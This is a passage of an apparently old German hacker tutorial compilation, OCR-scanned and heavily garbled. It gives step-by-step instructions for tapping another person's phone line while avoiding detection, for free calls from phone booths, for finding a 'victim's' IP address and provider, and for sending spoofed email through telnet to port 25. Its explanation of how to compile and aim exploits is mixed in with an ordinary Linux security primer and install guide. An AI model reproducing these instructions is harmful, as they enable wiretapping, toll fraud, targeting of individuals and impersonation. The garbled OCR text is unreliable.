wel cher Anschl ulR der richtige ist. Denjenigen der keinen Prifer hat
bl ei bt nichts anderes Ubrig als die Anschl iUsse nachei nander di e Drahte der
Anschl Usse abzunehnmen und das Tel efon abzunehnen um zu héren ob es tot ist.
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Wenn es tot ist hat man gerade seinen ei genen Anschl ul abgekoppelt. (nicht
vergessen die Draht w eder anzuschlielRen weil sonst ziemich schnell die
Tel ekom vor der Tir steht weil ein besorgter Mensch den Sto6rungsdi enst an-
gerufen hat.) Hat nan den ei genen Anschl uR gefunden kann nman die Drahte
bel i ebi g auf andere Anschl (isse unst 6psel n.

3.

Si cher hei t
Dabei ist aber einiges zu beachten

NI EMALS ei nen Freund oder ei nen Verwandten anrufen. Fliegt die Sache
auf. werden i hnen unangenehne Fragen gestellt.

Spr achkonmuni kati on Uber eine angezapfte Leitung ist | MVER ein
groReres Ri siko als eine Datenkomruni kati on per Modem Denn nimmt der
Angezapte den Horer ab, hort er das gerade | aufende Gespréach. Bei

ei nem Mbdem hért er nur ein kom sches Rauschen, was die neisten Leute
ni cht zuzuordnen wi ssen. In so einem Fall erweist sich die
Instabilitéat einer Modenverbi ndung al s praktisch. Hebt der Angezapfte
den Horer ab erzeugt das ein Knacken in der Leitung und die
Modenver bi ndung bricht automati sch zusamren und das Mbdem | egt auf.
Der Angezapfte hoért ein Rauschen, wundert sich, drickt ein paar nal
auf die Gabel und hoért den Wahlton und ist befriedigt.

Di e Leitung nicht Tag und Nacht angezapft |assen. Benachrichtigt der
Angezapfte die Terrorkom so ist diese innerhalb von weni gen Tagen
oder Stunden da. Eine gute Miglichkeit ist es die Leitung nur Nachts
anzuzapfen, da die TerrorkomMtarbeiter umdie Zeit nicht konmren und
der Angezapfte das Tel ef on am weni gsten benutzt. Am Mrgen kann nan
dann vor Schul e/Uni/Arbeit schnell die Leitungen entfernen und hat so
i mrer eine weisse Wste.

| SDN We ich schon erwdhnte kommt auch | SDN tber zwei Leitungen. Das
sieht etwa so aus:

Lei tungen der Tel ekom 4-adri ger SO-Bus Theoretisch ist |ISDN also nmit einer
NTBA anzapfbar, ich habe es aber noch nie
praktisch getestet.
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Ver schi edene Migl i chkei ten des kostenl osen Tel ef oni erens:

Met hodel:

Cel d ei nwerfen

11880 anr ufen

mt dei ner Winschnunmer ver bi nden | assen

| os tel ef oni eren

nach demtel efoni eren Geld wi eder entnehnen

ghrLONE

Ei ne 0130 Numer anrufen
i rgendwas | abern und warten bis die Verbindung getrennt wird
(nicht aufl egen)

3. Nummer die du anrufen willst wahl en

4. los tel efonieren

Met hode2:
1.
2.

Met hode3:

1. Horer abheben

2. mit einem DTMF Tonwahl geber di e Numer einer Auskunft
wahl en

3. mt deiner Winschnummer verbi nden | assen

4. los tel efonieren Tel efonzell en

Tel ef onzel | en:

Hor er abheben

0 wahl en

di e Gabel 1angsam hi nunter dricken

mt ei nem DTMF Tonwahl geber di e Nunmer ei ner Auskunft wahl en

mt dei ner dei ner Winschnumer verbi nden | assen

los telefonieren (wie du die T-Zelle auf Tonwahl umstellen kannst, wrd
nei stens auf einem Aushang in der T-Zelle erkléart)

cuhrwbE

1P

We man von Leuten die | P Nunmer rausbekommt:

We finde ich die | P von jenmandem raus?
I. Wenn das Opfer 1CQ hat.

Il. Wenn das Opfer imIRC ist.

I11.Wenn ich des Opfers DNS habe.

I'V. Wenn ich eine direkte Verbi ndung zum Opfer habe.

| . Wenn das Opfer |1CQ hat.

Al's erstes connectest du dich zumlInternet.

Dann darfst du zu kei nem Server Verbi ndung (manuel) aufnehnen,
Nun schi ckst du der Person, dessen IP du willst, eine Message.
Sobal d di e Message angekomren ist, startest du ein Ms5-DOS Fenster.
Da gibst du ein: netstat /a

Nun si ehst du alle Verbindungen, darunter hat es min. eine,

di e dahinter ein ETABLI SHED hat. Das ist die | P Adresse unseres
Opfers. Falls nehrere Verbi ndungen ETABLI SHED sein sollten,
musst du versuchen nmanche Programme zu beenden.

Qder anhand des Ports (1CQ Port ist Uber 1000) die richtige

I P rausfi nden.

I'l.Wenn das Opfer imIRC ist.

Im I RC gibt es einen extra Befehl umdie |IP rauszufinden,

dieser lautet: "whois". Also geben wir mal whois ein.

Nun erscheint (bei Mrc) bei mFenster Nanmens STATUS,
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i rgendein Text wo etwas steht wie:

di al up-232.freesurf.ch: 6667

Nun wi ssen wir die Adresse des Opfers,

ein Ping zu dialup-232.freesurf.ch sollte nun genugen.
Voila, da steht die |IP Adresse...

I1l.Wenn ich des Opfers DNS Adresse habe.

Ni chts einfacher als das, wir gehen in den Ms5-DOS Modus und

geben ei nfach pi ng ( DNSADRESSE) ein.

Nun steht da irgendwas wi e: Pinging mcrosoft.com][194.165.22.135] with 32
byt es of data:

Reply from 194. 165. 22. 135: bytes=32 tine<10ns TTL=128

Reply from 194. 165. 22. 135: bytes=32 tine<1l0ns TTL=128

Reply from 194. 165. 22. 135: bytes=32 ti me<10Ons TTL=128

Reply from 194. 165. 22. 135: bytes=32 tinme<lOns TTL=128 Ping statistics for
194. 165. 22. 135:

Packets: Sent = 4, Received = 4, Lost = 0 (0% 0ss),

Approximate round trip times in mlli seconds:

M ni mum = Ons, Maxi mum = Ons, Average = 0 ns =>ImBeispiel ist die IP =
194.165.22. 135 und die DNS = microsoft.com

I V.Wenn ich eine direkte Verbi ndung zum Opf er habe.
Funktioniert gleich wie |ICQ

ei nfach netstat /a eingeben und die aktiven (ETABLI SHED)
Ver bi ndungen suchen.

Pr ovi der ei ner Person anhand sei ner | P herausbekomren:

Das ei nzige was du bendtigst, um den Provider einer Person zu ermitteln,

i st seine konplette I P Adresse oder die | P Adresse bis hin zum Subnet z.
Sol | test du di ese haben, dann haben wir in dem Fall schonmal gewonnen.

Sol ltest du diese nicht haben ... trainiere !!! (in den neisten Chatraunen
oder imI|RC bekommt ihr sie mt dem Befehl "whois". |hr kénnt sie auch aus
ei ner EMail nehmen, indemihr euch den Header der Message genau betrachtet)
Ckay, weiter geht's. Wr haben also die (konplette oder einen Teil) seiner
| P Adresse. Nun niissen wir nur noch eine WHO S Anfrage starten. Dazu nutzen
wir den Service nehrerer Dienste imlInternet die frei zuganglich sind.

Fol gende Adresse(n) notieren:

o http:77 v nic. de/whoi's. htm,
Wr starten bei diesem Dienst unsere Anfrage sollten wir vernuten,
dalR di e Person aus Deutschland komt

Wr starten bei diesem Dienst unsere Anfrage sollten wir vernuten,
dall die Person aus Amerika komt

Wr starten bei diesem Dienst unsere Anfrage sollten wir vernmuten,
dal di e Person aus Europa (allegnein) oder Afrika komt

Wr starten bei diesem Dienst unsere Anfrage sollten wir vernmuten,
dalR di e Person aus Asien oder der Pazifikregi on komt.

Nachdem wir unsere Anfrage gestartet haben, beeindruckt uns entweder das
Ergebnis, indemwr eine positive Antwort bekommen haben, so dall wir z.B.
den Provider nun sehen kénnen, oder aber die Adresse des Providers oder
aber wie gross das Subnetz des Providers ist. Und was nan mit ei nem Subnetz
und ei nem Scanner alles anrichten kann, daB wi ssen wir doch alle ;-)
Sollten wir aber beimersten Mal kein d ick gehabt haben, so starten wir
einfach di e nadchste Anfrage bei einem anderen Dienst so | ange

bis wir alle durch haben oder eine positive Antwort bekomen haben.
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Und das keine der Mglichkeiten funktioniert kann nicht sein, denn bei

i rgendei nem Provi der muss er sich ja ei nwdhl en und der ist nun mal online
registriert und danmit auch abrufbar ;-) So, das war auch schon das

ei gentliche Gehei mis worum es beim Provider Sniffing geht !!!l Annerkung:
AOL gehért zu Ameri ka.

W e bekomme ich eine |IP heraus?:

H er gi bt es verschi edene niglichkeiten:

. --> JUber 1CQ

Il. --> irgendei nen Chat
I11.--> IRC

|.) udber 1CQ

Auch hier gibt es w eder 3 Mglichkeiten:

a) Dies ist die einfachste und auch di e Enpfehl enswerteste.
Man geht einfach in der Liste von |ICQ auf den gewinschten Nanen,
drickt die recht Maustaste (bei manchen auch die Linke) und klickt
auf User's Details. Nun o6ffnet sich ein Fenster, bei demin der
oberen Halfte irgendwo Current / Last IP steht. Rechts daneben
sollte jetzt eine Nummer stehen. Wenn da nur ein leeres Feld ist,
dann hast du Pech gehabt, denn der |1CQ User hat das
DO NOT PUBLI SH MY | P_ADRESSE - Feld angeklickt. Ist dies der Fall,
dann benutzt eine der anderen Mglichkeiten.

b) We bei a) geht man auf den Nanen- rechte Maustaste- User's
Details. Diesnal aber nicht bei |IP sondern bei |1CQ#: (auch U N
genannt). Diese Nummer gibt man in einen IP-Sniffer bei UN ein,
den nman auf der *Z* Page downl oaden kann. Jetzt sollte bei |IP RAS
die | P stehen. Jene Methode geht neistens nicht, also benutzt am
besten a) oder c).

c) Dies hier ist eindeutig die beste Methode beim | CQ (E-MSDOS), um an
ei ne | P ranzukonmen. Al's erstes offnet nman nmal das
Ei ngabeauf f or der ung- Ms- Dos Fenster. Jetzt versendet nan dem von dem
man die | P nbchte, eine Message. Ist dies erledigt geht man sofort
zur E-MSDOS und gi bt dort
"c:\Wndows\netstat /a" ein. Normal steht C \Wndows schon,
al so muss man nur noch "netstat /a" eingeben. Es erscheinen nun
ziemich viele unnitzliche Sachen. Da sollte irgendwo etwas in Form
von: "pop-Ils-12-3-5-dial up-13. SERVER. de: 3778 ESTABLI| SHED"
Von da braucht man allerdings nur vom Anfang bis und mt Server
(freesurf.ch oder so). Jetzt gibt man im E-MSDOS wi e vorher nach dem
"C:\Wndows\" fol gendes ein:
"ping !''TUND JETZT GENAU DI ESE ADRESSE! !!
Was etwa so aussehen sollte:
"C:\ W ndows\ pi ng pop-1s-12-3-5-di al up-13. SERVER. de"
Nun komm die gesuchte IP etwa 5 mal....

I'l.) Uber einen Chat:

Mei stens ist es nicht sehr schwer Uber einen Chat an die IP eines andern zu
konmen. Manchmal (M crosoft Chat ...) genigt es schon auf den gewlinschten
Nanen mt der rechten Maustaste zu klicken und dann z.Bsp. auf ldentitaéat
oder so was ahnliches zu klicken und voila, schon sieht nman di e gewinschte
I P. Hier einige bei denen es zienlich einfach geht.

M crosoft Chat rechte Maustaste auf Nanmen-ldentitéat ....Witere fol gen, hab
jetzt keine Zeit.....
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I'11.)dber |RC

Auch di ese Metzhode ist nicht sonderlich schwer. Hi er gibt es einen Befeh
um di ese rauszufinden. nman gi bt einfach "/whois N CKNAME'. Nun sieht man
von der Person, von der nman den N CKNAME ei ngetragen hat irgendwas das
ahnlich wie beimICQ-> c) aussieht. auch hier gibt man w eder "ping !!!das
wo man voher sah bei /whois!!!" ein.

Linux/Unix

Bet ri ebssyst em Li nux:

Di eser Text wird euch ein bi Bchen Uber das Betriebssystem Li nux aufkl aren
Li nux ist ein Betriebssystemw e viele andere auch, allerdings gibt es sehr
grosse Unterschiede zwi schen z.B. Linux und Wn...s. Vielleicht kennst du
auch das Wrt Unix. Unix ist ein Betriebssystem das von spezi es auf
Grossrechnern eingesetzt wird. Linux ist ein Unix far PCs. Es gibt viele
Grunde daf ur sich Linux anzuschaffen. Inhalt

[1] Vorteile
[2] Nachteile
[3] was ist nun nmit neinem Wndows???

[1] Vorteile

1. Linux lauft viel stabiler als Wn...s. dies ist z.B. im Netzwerkbereich
wi chti g.

2. Linux kann viele Dinge gleichzeitig nmachen. ("echtes Miltitasking")
z. B. kénnen nehrere User an ei nem Li nux Rechner arbeiten oder spielen

3. Linux ist praktisch kostenlos und unsonst. :-) Es wird nicht wi e andere
Betri ebssystene nit einer Lizenzurkunde verkauft. Du darfst Linux fre
kopi eren und weitergeben. Ausserdemw rd der Programmtode mitgeliefert
und wenn du di ch danmit auskennst, kannst du El emente &andern

4. Linux hat inzwi schen ein ausgereifte graphische Goerflache und ist auch
konfortabel mt der Maus bedi enbar. Wenn du al |l erdi ngs Veranderungen i m
Syst em vornehnen nbchtest, nusst du Progranmmbefehl e ei ngeben

5. Linux ist das Standartbetriebssystemfir Hacker.

[2] Nachteile

1. Die nmeisten Wn-Programme kannst du nicht mt Linux benutzen. Wenn es um
Spi el e geht, dann kannst du dir kostenl os Enul atoren aus dem | net
runterladen. Allerdings |laufen viele Spiele instabil oder garnicht.
Li nux ist eben zum arbeiten gedacht und nicht, zum spielen. Von einigen
Spi el en gi bt es aber auch spezielle Linux-Versionen. z.B. Cvilization

2. Linux ist naturlich nicht ganz so einfach zu bedi enen w e das
| di ot ensi chere W ndoofs. Aber nach einiger Zeit hast du sich schnel
daran gewdbhnt.

3. Linux ist sehr gross imVergleich zu Wn, ... aber egal.

[3] was ist nun mit neinem Wndows???

Li nux bendtigt wie jedes andere BetriebssystemPlatz wo es nmit kei nem
anderen BS in konflikt gerraten kann. Entweder du richtest eine eigene
Boot-Partition ein oder du hangst eine zweite Festplatte an dei nem
Conputer. Am Besten ist es natirlich, wenn du W ndoofs ganz und gar

| 6schst. Aber wenn du uns gel egentliche spielen nicht rumkonmst nusst du
win nun mal drauf |assen
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Ei nf Uhrung in di e grundl egende Systensicherheit unter Linux:

- Ei nf Uhrung-

Tag taglich erschei nen neue Berichte von neuen Methoden umin andere
Rechner ei nzubrechen und man hért von neuen Geschi chten von noch
Bosartigeren Viren die wi edernal irgend wo Daten vernichtet haben. System
Sicherheit ist jedoch nicht nur etwas was fiur Profis ist sondern man kann
schon nmit ein par richtlinen ein bischen sicherer imNetz leben. Ich wll
mt diesemFile zeigen das auch Anféanger ihre System schon etwas sichern

- Grundl agen-

Bevor man auf einzel ne Schut znechani snen ei ngeht sollte nman an di eser
stelle klarstellen was Sicherheit Uberhaupt bedeutet. D e fol genden
Punkt machen klar das die Sicherheit des eigenen Rechners schon etwas
Gutes ist

Schut z der Resourcen

Zugang zu | nformati onen

Ver f igbarkeit von Daten

Integritat von Daten

Vertraul i chkeit der Daten (Firmendaten, Kundendaten oder Patientendaten
in artzpraxen und Banken )

6. Privatsphare

grLONE

Jedoch bezi ehen sich diese 6 Punkte nicht nur auf den Unbefugten Zugriff
von Dritten sondern auch auf Hardware dinge wie z.B. auf Festplatten Crashs
oder kaputte Sicherungsbéander. Zusammen gefasst ergeben sich fol gende
Punkte in denen die Sicherheit eines Conputers Gefahr ausgesetzt ist

Benut zer, die direkt an den jeweiligen Conputern arbeite, stellen nmt die
G 0sste bedrohung dar da. Konmuni kati on Uber | okal e oder WeltWite

Net zwerke wi e das Internet da dabei Angriffe getatigt werden kdnnen ohne
das sich ein Benutzer vor Ot aufhallt. Direkter Zugriff auf den Conputer
durch ei nbrecher. Naturkatastrophen gegeniber sind Conputer z.B. |eider
sehr anféllig. :) Hard und Software kann durch fehler den Datenbestand an
si ch geféahrden. Speichernmedi en kénnen gest ohl en oder (ausversehen)
beschadi gt werden. |ch werde veruschen in diesemFile vorallem auf die
ersten 3 Punkte einzugehen das sie neist die nehrheit der ConputerAngriffe
dar stellen.

1.1 Lokal e Sicherheit
Mt der Sicherheit féangt man am besten am ei genen Rechner an

# PaRwort er

Da Linux ein Miltiuser Betriebssystemist verfigt es auch Uber eine

Benut zer Authentifizierung durch eine Passwort abfrag. Man sollte am besten
far alle Benutzer die auf das System zugreifen ein "gutes" Passwort

ver geben. So bekomm nan schon einnmal sicherheit vor einfachen Angriffen
Amaller aller aller sorgfaltigstemsollte das Passwort fur den Benutzer
root gewdhlt werden da der Benutzer root auf einem Li nux bzw. Unix System
Adnministrator rechte hatt, fur alle totall dunmen heisst das er kann alles
und darf alles wie eure eltern, und ist daher auch das Angriffs ziel N.1

# Zugriffsrechte

Um di e nmbgl i chkeiten der einzel nen Benutzer auf ihrem System

ei nzuschranken sollte nan die fir sie ninimal bendtigten Zugriffsrechte
verteilen.

# Buffer Overfl ows

Ei ne der beliebtesten Met hoden Administrator (root) rechte auf einem
System zu erl angen sind so gennante Buffer Overflows. Bei einem Buffer
Overfl ow werden statische Felder im"User Stack" eines Progranmes z.B
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wahrend ei ner Texteingabe, gezielt mt werten Uberschrieben, die andere
Vari abl en i m User Stack Uberschrei ben, so dass gewinschter Code ausgef Uhrt
wird z.B. das starten einer Shell. Wrklich "attraktive" Progranme fir

sol che attacken sind Progranme die suid und sgid-Bits setzen koénne, also
die rechte der Benutzer verdandern koénnen.

# Viren und Troj aner

Fir Linux sind , zum glick, gerade mal 2 bis 3 Viren bekannt anders sieht
es jedoch mit Macro-Viren aus die per E-Mil verschikt werden. Trojani sche
Pferde sind Programme di e dem Benut zer vorgaukeln etwas zu sein was sie
aber eigentlich nicht sind z.B. kann sich ein Trojaner hinter einem

Logi nPronpt versteken der Heinmlich das Passwort mt Schrei bt oder
versendet. Ei nen endgiltigen Schutz vor sol chen angriffen kann es nicht
geben wen man j edoch kann ein gut durchdacher Unrgang nmit der \Witergabe von
Di sketten und Frendprogramm in Verbi ndung nit einem guten VirenScanner ein
Nit zI i cher Schutz sein.

1.2 Netzwerk Sicherheit

Wegen der herforagenden Netzwerkf &hi gkeit wird Linux vernmehrt in
LANs (Local Area Networks), tenpraren Netzwerk verbi ndungen zum
Internet und sogar fur Gateways fiUr ganze Subnetze verwendet.

Bei geeigneter Konfiguration einer Firewall kdnnen die neisten der
Angriffe abgewehrt werden. Die Offenen Ports sind zwar inmmrernoch
ei n wunder punkt jedoch gibt es hierfir auch wi eder Tools die das
Ri si ko sanken. Der Nornal e User kann aber davon ausgehen das er
bei den 30 Mnuten online zeit, in dennen er sein E-Mails liest,
ni cht das Opfer eines Angriffes wird, die wahrscheinlichkeit hierfdur
i st sehr sehr gering.

# Man in the Mddle

Der "Man in the Mddle" Angriff bezieht sich auf Netzwerktraffic, der Uuber
ei nen oder nmehrere Rechner zw schen verschi edenen Netzwerken geroutet wrd.
Der Angreiffer hat hierbei Zugriff auf einen der Benutzen Router und kann
dadurch | P-Pakete "nithdren", unleiten oder austauschen. Die einzigste art
von Schutz gegen diese art von Attacken ist eine Starke Kryptographie z.B.
bei m Mai | aust ausch oder dem Surfen im WW Umes klar zu machen : Alles was
i hr wahrend einer telnet oder rsh konference eintippt kann mtgel esen
werden. Deshalb sollte hierfiur zu ssh gewechselt werden. Zur

verschl issel ung der E-Mil verkehrs widhre es angebracht pgp zu verwenden.

# Buffer Overfl ows

Nach dem " Sniffing" , dam passiven nitlesen von Daten und Dat enverkehr,
sind Buffer Overflows mt die haufigste art von Attacken von Auserhal b.
Jeder von Aussen ereichbare dienst stellt ein Potentielles Angriffs ziel
dar. Jeder dienst der unbedi ngt ben6étigt wird und nicht abschal tbar ist
sollte durch eine Firewall Filter Konfiguration des Linux-Kernels nur von
besti mten Systemen ereichbar sein.

# Deni al of Service

Bei den "Denial of Service" - Attacken schaltet der Angreifer einen

Net zdi enst durch Uberl astung gezielt aus. Unter Unst&nden ist davon dann
ni cht nur der einzelnen Dienst betrofen, sondern die ganze Maschi ne kann

ni cht nmehr erreicht werden. Bei "Denial of Service" attacken die das ganze
systemzum stillstand bringen ist is in der regel so das inerhalb von ein
par Stunden auch ein Patch Rel eased wird. Der Admin sollte regel nassi g auf
der webPage der passenden distribution nach Patches ausschauhal ten und sie,
wen notig, installiern.

94



2. Zusammenf assung

H er nocheinmal die w chtigsten dinge aufgelistet

1. Benutzer root sollte lediglich fir Adm nistrative Arbeiten
ei ngel oggt sein. Fir die Tagliche Arbeit am Rechner sollte ein
Benut zer Sccount angel egt wer den.

2. Verneiden sie die Benutzung von Progranmen wi e telnet, rlogin oder
rsh und benutzen sie |lieber Kryptostarke Programre wi e shh .

3. Deaktivieren sie alle Netzwerkdi enste ,die Zugang zu i hrem
system bieten, die nicht wirklich gebraucht werden.

4. halten sie Sicherheitsrelevante dinge in ihrem Systemw e z.B. bind,
sendnai | oder ssh i mmer up-to-date.

5. Entfernen sie alle suid- und sgid-Bits von allen Dateien imSystem die
ni cht unbedi ngt fur nornal e Benutzer zum Arbeiten notwendi g sind.

6. Die Logdateien sollten regel ma3si g Uberwacht werden.

We man Mails unter Linux faked:

D e Fakemails funken 100% und absol ut Anonym unter Li nux!

Man rmuss als erstes ins Term nal gehn und dann gi bt nman ein:

tel net

open | ocal host 25

mai | from xxx (hier gibt man irgend ein Pseudonym an)

rcpt to:xxx (hier komm die E-Mil-Addi des Opfers hin)

data Und jetzt gibt man den Text ein,zum Fertigstellen macht nman einen "."!
Danach nur noch "quit" eingeben und fertig! Diese Miil sollte eigentlich
schon sehr anonym sein,es wird als Host nur |ocal host und so

angezei gt!

WAs sind und wi e benutzt man Expl oitz:

Was sind Exploits?

I ns deutsche Ubersetzt, heisst "exploit" soviel w e ausnutzen oder
ausbeut en. Di e hack-techni sche Bedeutung bezi eht sich auf das Ausnutzen von
Schwachst el | en ei nes spezifischen Programms. | n der Regel bezeichnet ein
Exploit nur ein Progranm dass einen Fehler der verwendeten Software auf

ei nem Server ausnutzt, um unberechtigt Zugang auf di esem System zu

erl angen.

We funktioni eren Exploits?

Es sind schon viele verschi edene Verfahrenswei sen nétig, umdie
Schwachstel l en ei nes Systens ausfindig zu machen und ent sprechend zu
verwerten. Zudem versuchen Adm nistratoren i hr nmbglichstes selbst die
Schwachstel |l en | hres Netzwerkes und der darauf | aufenden Software

auf zuspiren und durch entsprechende Einstellungen und Patches diese

Si cher hei tsl 6cher zu stopfen. Es wird i mmer eine theoretische Mglichkeit
geben, ein Progranm zu nicht vorgesehene Aktionen zu bewegen. Bisher wrd
di es auch durch fast endl ose Anzahl an Exploits, die auf diversen Sites fir
j edes Betriebssystemerhdltlich sind unterstitzt. |Im Beispiel des Unix-
Betri ebssystens, koénnen Programme bestimte Prozesse nur verarbeiten, wenn
di ese unter Root-Rechten (U D 0) |aufen. Deswegen verfahrt nan in vielen
Fal | en so, dass entsprechende Programm das nmit Root-Rechten | duft zu
"crashen", um selbst an seiner Stelle die Root-Privilegien entgegen zu
nehnmen. Die neisten Exploits basieren auf dem Buffer Overflow Das bedeut et
Puf f er Uber | auf, das Exploit startet neistens ein Progranm Ubergi bt di esem
Daten die das Programm nicht richtig verarbeiten kann und schrei bt darauf
hi n ei nen neuen Code in den Arbeitsspeicher. Dieser neue Code ruft dabe

nmei stens eine Shell nit den Benutzerrechten des Programs auf.
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Arten von Exploits Es gibt 2 Arten von exploits:

1. Local -Exploits: Das bedeutet das man schon einen Account auf diesem
Rechner haben muss und dann dort den Exploit ausfihrt.

2. Renote-Exploits Mt dieser Sorte bekomm man von seinem ei genen Rechner
Zugriff auf den anderen ohne einen Account auf auf dem Zielrechner zu
haben.

W e konmen Exploits zum Ei nsatz?

Das Programm wi rd ausgef dhrt und versucht das Ziel selbststéandig

anzugrei fen, indem Sicherheitsl icken ausgenutzt werden. Da vorzugswei se
Exploits in der Programmsprache C vorliegen, nuss zuvor noch der zugrunde

I i egende Quel |l code kompiliert werden, um daraus ein | auffahiges Progranm zu
machen. Je nach angewandter Verfahrensweise, wird ein Exploit direkt auf
dem Zi el rechner zur Anwendung gebracht, oder man benutzt ei nen anderen
frenden Rechner, der den Angriff auf den Zielrechner durchfihrt. In der
Regel wird ein frender, schlecht gesicherter Rechner fir einen Hack-Angriff
verwendet, da hier Erfol gswahrscheinlichkeit grésser ist, seine Spuren so
zu verw schen, dass man nicht nehr zurickverfolgt (traced) werden kann

Und wie konpiliert man ein Exploit? Da die neisten Exploits fidr *nix
Systene sind, werden sie auch unter *nix in C geschrieben. Also umein
Exploit zu konpilieren gibt in eurer *nix Shell: "gcc -o name quell code. c"
oder alternativ "cc -o nane quellcode.c" gcc -> das ist der Gau-C- Conpil er
cc ist der "normale"; -o -> ist eine Conpileroption; nanme -> der gewlinschte
Programmane. Nach dem Konpilieren missen wir das Progranmm nur noch
ausfihren also in die Shell eintippen: "./nanme" und das Programm wird
ausgefihrt. Ot steht im Quelltext eine Anleitung und di e entsprechenden
Par anmet er di e man benutzen sollte. Al so unbedingt reinschauen und auch
versuchen zu verstehen (nmanche Progranm erer bauen sogar Fehler ein danit
Uner f ahrene sie nicht ausfihren kdnnen). Also C Kenntnisse kénnten nicht
schaden. Viele Exploits sind Versionsbezogen d.h. man sollte wi ssen wel ches
CS lauft gibt es verschi edene Miglichkeiten: 1. Man verbindet sich Uber
Telnet mit dem Server (falls Telnet l&auft), man wartet auf den Login und
liest die obere Zeile ab, da steht es neistens, einige Adnins unterdricken
di ese Zeil e aber das man nicht sehen kann wel ches CS | auft. 2. Wenn der
Port 21 (ftp) offen ist, verbindet man sich mt diesemund |iest w eder
diese Zeilen ab. 3. Unter z.B. Linux gibt es einen Scanner nanens "nnmap",

di eser Scanner ist ziemich beliebt und hat auch viele Funktionen. Mt nnmap
kann man auch feststellen wel ches OS auf dem Server |&uft und man erfahrt
auch noch die offenen Ports. Diese ganzen |Informationen nuss nan haben um
evtl. Bugs auszunutzen. Zu enpfehlen ist vor allemein Conputer nit einem
installierten Linux.

W finde ich Exploits?
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Li nux installieren:

Viele Leute die mt dem Hacken anfangen werden in vielen anderen Tut’z
| esen, dass sie sich ein Unix-System(z.B.Linux) installieren sollen.In
diesen tollen Tut z steht aber nicht warum man sich extra soviel Arbeit
machen sol|.Deshal b ein paar G unde:
*Fast alle Exploits sind far Unix/Linux
*Es ist COOL
*Es ist kostenlos
*Man | ernt sehr viel Uber Server(Die neisten laufen mt Unix-Systenen)
*Man kann direkt mt dem Hacken anfangen,weil die w chtigen Tools direkt
vor handen sind (z.B.nslookup, tel net,whois...)
*Man hat mehrere Progranmm er-Sprachen zur Verfigung(C, C++, Perl, Fortran...)
Es gi bt aber auch G inde sich Linux nicht zu installieren:
-Man hat nur eine Wndows-Partition die man nicht Léschen bzw. verdndern
ncht e
-Man ist zufrieden nit Wndows(Wer ist das schon??? ;-)
-Man hat keine Lust Linux zu lernen(Man nuss viel Lesen) Nun hast du dich
si cher entschieden ob du Linux installieren nbchtest oder nicht.

Wel che Distribution?

Man sollte NICHT nmit Debian oder Slackware anfangen,sondern nit einer
Distribution wi e Red-Hat, Mandrake(Di e beste fir Anfanger), SuSE, GO Li nux. ..
Kauf dir am besten erst eine Zeitschrift bei der ein Linux dabei

i st(z.B.Go!Linux far 19.80DM oder bei der LinuxUser ist auch manchmal eine
Di stribution dabei fir 7.80DM Du kannst dir die Linux-ISO z(m n.650MB)auch
von FTP-Servern herunterladen (z.B. ftp.redhat.com und dann auf CD
brennen. Mein Tip:Besorg dir Mandrake Linux.Es ist wirklich Geil.Man kann
es unter mwww. 17 nuxland.dd fir 29DM bestel | en.

Backups und Vorbereitung auf die Installation

Du hast dir nun ein Linux besorgt und willst es nun Installieren.Du hast

besti mm ein Wndows auf dem Rechner, dass du auch weiterhin auf dei nem

Rechner haben willst.Fertig als erstes ein Backup dei ner wichtigsten

Dat ei en an( Hack- Pr ogr amme, Hausauf gaben, Por nos; -). Nun hast du drei

Mgl i chkeiten: 1. Du hast eine Wndows Partion die du | dschen kannst(z.B. D)
2.Du | 6schst alle Partitionen und richtest alles neu ein
3.Du verkleinerst eine Partition umPlatz fidr dein Linux zu

schaf fen

1. Du kannst die Partion bei der Linux-lInstallation |dschen

2.Geh in die Ms-Dos Ei ngabeaufforderung und gib fdisk ein.Mt FDi sk kannst
du die Partitionen |dschen.

3.Mt einemProgrammwi e Partition Magi c(Kostet Gber 100DM i st bei GO Li nux
al s Special -Edition dabei) oder Fips(kostenlos) kannst du vorhandene
Partitionen verKkl einern.

Die Installation

Die neisten Distributionen sollten auf Boot-Fahigen CD's sein d.h. du | egst
sie einfach ins CD Laufwerk und startest den Rechner.Nun sollte das
Installations-Progranmstarten. Falls nicht geh ins Bl OS Setup(neisten beim
Start "Entf" dricken) und such "Boot-Sequence".Dort stellst du

" CDROM FLOPPY; C' ein und speicherst die Einstellungen.Nun sollte es niglich
sein von CD zu booten. Wnn nicht nusst du Boot-Di sketten anfertigen(Lies
das Handbuch dei ner Distribution).
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Die Installation besteht aus nehreren Schritten(D e Rei henfol ge kann
ver schi eden sein):
*Maus- Ei nst el | ungen
*Tast at ur- Ei nst el | ungen
*Zeit Einstellungen
* Paket - Auswahl
*Paket -1 nstal |l ati on
*Partioni erung
*Passworter festlegen
*LiLo installieren
*Bi | dschi rm Ei nstel | ungen
*Neust art

Maus- Ei nst el | ungen:
Falls du eine 2 Tasten Maus hast wahl "2 Button Mouse(Enul ate 3 Button)"
aus. Falls du eine 3 Tasten Maus hast wahl "3 Button Muse" aus.

Tast at ur ei nst el | ungen:
Such deine Tastatur aus und teste sie in dem Ei ngabe-Feld

Zei tei nstel | ungen:

Was soll ich dazu sagen??? Paket - Auswahl :

Du wirst warscheinlich die Frage gestellt bekomen als was du den Rechner
benut zen nbcht est (z. B. Server, Entw ckl ungspl atform Wrkstation). N mm

Entwi ckl ungsplatform ,weil das die fur Hacker beste Einstellung ist.Wnn du
es genauer haben willst kannst du auch di e Pakete einzel nd auswahl en.

Paket -1 nstall ation:

Hol dir eine Tasse Kaffee und guck gespannt auf den Bildschirm:-)

Partitionierung: Du solltest 3 Partitionen fir Linux erstellen(Ja, drei

st ick):

1. Typ: Li nux Native, Mount - Poi nt:/boot, G 6sse: hochst ens 100MB

2. Typ: Li nux Swap, G dsse: héchstens 128MB

3. Typ: Li nux Native, Mount-Point:/, G dsse:soviel wie du brauchst(und noch
Uber hast) Passworter festlegen:

Da Linux auf Unix basiert ist es ein Miultiuser CS:Es gi bt einen Adm n und

Benutzer. Al's erstes solltest du das Root-Passwort festlegen

(Administrator). Dann solltest du dir einen eigenen Account einrichten.

Li Lo installieren:
Der LiLo(Linux-Loader) ist ein BootManager.Du kannst ihn auf Festplatte
oder Diskette installieren.

Bi | dschi rm Ei nstel | ungen:
Quck in dein Mnitor Handbuch und such dir di e entsprechenden Einstell ungen
raus. Wahl e noch di e Aufl 6sung und teste sie.

Neustart:

Ni mm di e CD aus dem Laufwerk und starte den Rechner neu.

der erste Login

Nachdem du den Rechner neu gestartet hast und bei mLiLo Linux ausgewahl t
hast, solltest du dich nach kurzer Zeit auf einem grafischen Login oder

ei nem t ext basi erten Logi n- Screen wi ederfinden. Bei m grafi schen Login

